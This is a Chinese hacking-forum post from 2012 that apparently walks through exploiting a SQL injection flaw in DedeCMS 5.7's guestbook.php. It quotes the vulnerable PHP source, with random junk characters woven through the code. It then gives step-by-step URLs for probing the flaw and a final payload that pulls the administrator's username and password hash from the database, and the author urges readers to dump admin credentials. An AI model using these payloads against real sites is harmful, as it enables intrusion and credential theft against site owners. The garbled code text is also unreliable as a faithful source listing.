找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4111|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.76 ~3 U- v3 l& p+ S
* `; t* }# t* C
漏洞文件edit.inc.php具体代码:* ]+ Z7 z  N9 p% ]. w. Y

$ P6 W' J( v1 Y) f% f# M. `< ?php  
( i" _' r9 j/ ?) z8 a# v5 |
7 k# n# I* X& R: ?5 Z4 V+ Cif(!defined('DEDEINC')) exit('Request Error!');  
2 e; o  M- C7 h! F. \4 d( J& t! ]
   & n9 l) m; F( X& ?+ W- Z" j! \
# H5 `( z5 W! x8 l( ^
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ) W/ k# R( V3 p9 \" D2 Z4 G

6 |8 U: H; I, I  I9 Y8 o; L, z2 O+ celse $GUEST_BOOK_POS = "guestbook.php";  
+ W. M) a7 N3 J1 ~  U
. ?8 K2 J: S+ U9 \/ {% z) J   6 E9 R/ {; e, s- }

3 p5 X0 Q! S% O$id = intval($id);  
: {  Q  c6 _; I0 a: i/ V/ L5 x, Q: b1 L4 G, I. i
if(empty($job)) $job='view';  ) {& k- ~- d- i" T) d

2 {- b1 c9 f: u3 s# A9 L   1 m) V$ A! Q5 N' |- ]

5 }" X( E1 w$ z/ R/ t: Hif($job=='del' && $g_isadmin)  $ I  E2 M& J4 }" a7 S, m
3 t2 y! g9 l0 v  @" s
{  
5 i2 b/ }, y4 f3 E% d  l; y% g
5 ]3 q8 ]4 v' K& l. L2 b7 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  : ]0 @) H3 ^4 j" K" f

/ R( n1 ^& f$ k% u+ K3 t# Z/ E1 G, dShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
8 ~% y* y' r: z  O7 J( X& H5 B
  V4 z$ a* {) J, B. q( uexit();  
8 ?- n+ ?9 r; J- L: A: }. J9 }. m# x  r1 A6 o
}  
8 a% D/ I% g1 W  L4 k4 @
; B; O; z. C* _: [" H: H; Belse if($job=='check' && $g_isadmin)  
' O: o' B6 m) `; c9 b
0 p% Q0 c; t, a{  
# B! {! G% w7 b  ~, ]6 |
0 N9 }( {) G' |9 a3 F/ Q  d5 U# _$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  8 p9 @- I7 W( t
. ^& {/ k/ b6 d* |  w! w" [, o
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
9 d4 f* t& H( V8 F' Y) a- h5 T% S& o) h& P9 ?
exit();  
& c2 b1 v" F# Z2 o0 r0 e9 F( {5 P. r! @3 _8 Z# `
}  
+ q( L% u+ F& E2 T. i
% @; r7 f& D8 M  t4 ]+ uelse if($job=='editok')  
; l6 x3 O/ A+ n; x+ c. f, h& S1 k" c3 a5 P9 C1 |! F7 q
{  5 U$ n# b( m9 r

7 \# H# t# E" Q5 p4 b$remsg = trim($remsg);  
$ a7 T; P& r: z0 ?0 @8 g/ d$ n7 ]+ B& _7 Y
if($remsg!='')  & f, V- T7 D9 X$ g" Z4 l

, U' l$ }4 d' f% q0 R+ ?{  . J8 u  I; R6 w+ L8 n2 X2 @
* f4 g* r- ~! r5 ?& H
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% g* c, `  ]1 R  U7 v" w: S
8 x: V% g; `; y- O; qif($g_isadmin)  
/ w8 K9 U9 G/ ?9 D7 @. h+ S- _
4 ~+ e" [! [+ S/ v! |{  
8 L" M: y2 f+ K
" Q$ Q+ }+ k( S2 _1 l: x6 M- L$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  - @& ?. W5 R$ M: T0 S, I8 j
5 A6 W# p- e7 }8 |7 x
//$remsg <br /><font color=red>管理员回复:</font> }  4 A1 ^% }( [8 l0 r, t; _) B

" `2 X" @- o! f" @, }else , X4 ^. q, {/ C* f5 E% W

. D# z( G/ v4 U( `{  3 K) n) G3 x3 f8 {/ I: ?8 _: u
0 i( g- Y' R9 ?
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
% B1 a% _# {3 a4 ?! {) y8 _' Q5 m# N/ |0 u
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  - K: Q( H. s4 A$ w; Z, i, \: c
3 H' d. ]( H" r- ^
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  1 u, }& I$ W0 Z" `# J0 |

5 \! K8 H' W7 z' l3 A4 k2 v$msg = $oldmsg.$remsg;    L+ w) y$ N5 V
) u! o2 x8 t" E* `- C
}  
+ _& b0 D2 V% e: z" z# n8 \* ]: U5 T6 L
}  
( `& h- u; ^( q7 @8 @3 l$ g$ Y& N$ v$ {
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  $ \  q; O5 B! P( r+ Q/ R/ U9 v" y! B0 o
) z8 ]+ T- K; @5 N( ?! j
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  . y1 e  k4 ]( m5 o+ K! o
$ L4 d5 l# _8 ]$ w, V+ j8 T
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
  i3 x; W$ r& ~- A- `1 ?) ]6 x8 u7 c. q3 _4 m2 v% I/ o6 y9 o
exit();  , I' d& |+ N1 R0 M# a

% w; M) J* |5 `* i  ~& C" U! I}  + N" k3 L6 N8 K; ]7 w5 U
# _5 Y" [, |( b1 X: t" G
//home:www.errs.cc  5 P7 k6 X0 f* W; ^9 a+ g$ N

7 q5 ^; B. _' G0 r6 Bif($g_isadmin)  
- x9 j! j3 f2 @+ I( Z- W5 s# w' w/ p" v8 ^, j. p
{  
; D+ z( [$ K  r3 Y' g! D$ k& ]
+ _7 \( B: O8 F# v# p) z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
  W) ^! l: R; e- ~% R6 R" M; v# I/ b" Y7 k
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  9 E$ i3 C: w4 x: M
: Z9 z8 Y( n& D  c' ]9 Y
}  
0 q1 `3 }& D9 ?9 L: Q, y0 W) r# j3 W# P% ^
else
9 E, I8 ~. F% W) I6 \
& A5 _: X& s) ^5 t/ F{  / U2 g0 N5 I& W% P& v& {( M
! J. W; G. }  L) U1 c& [. Y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
- J1 Z. Q) \" S0 |) V# `3 x$ V' `5 W2 p0 i  Y/ n8 z& I& X' q. J' C6 ]
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
3 F& s' M" C; ^  q$ U5 o, W2 w1 D% o6 W
} 漏洞成功需要条件:9 @' I$ Q& u: B# A6 S
1. php magic_quotes_gpc=off& J! S/ ]; l/ ^7 _/ d1 }% r+ W
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
' a. l% _1 V, E# v! \! G% e  d2 n  O" O9 b) m( @  f6 @' e, Q
怎么判断是否存在漏洞:
$ T$ R# C; K+ m& t) o! \4 ?先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,: |0 Y7 b3 n  ?1 G$ N" g
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID5 F8 \6 K% z5 P- m( h2 w1 X
访问:3 J' W* U0 J3 _9 w- _

5 l+ U; E+ S; C, L" Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了, C& Y9 @3 ^; p9 @: I, j
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% C, C8 K6 X% c

& i: e% s) q2 `) ?7 y1 K3 @6 S; m1 I
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ ^/ ?6 H8 K- ~$ D  S( a
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' L2 Z2 c+ l  r# D: C: ~那么再次访问
: `, d0 ^* j  O( i2 ?0 j
+ P; e: M" Y2 L2 Wwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; p8 D9 ?9 a) N, g% l  I, N2 H! U8 r4 G
大概利用就是这样,大家有兴趣的多研究下!!- }/ |+ L; t" w0 s) z  ]7 ^
( p" q3 I9 z, C9 H
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% w' _( B9 a  e( ?' e( P$ e  Z2 v
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表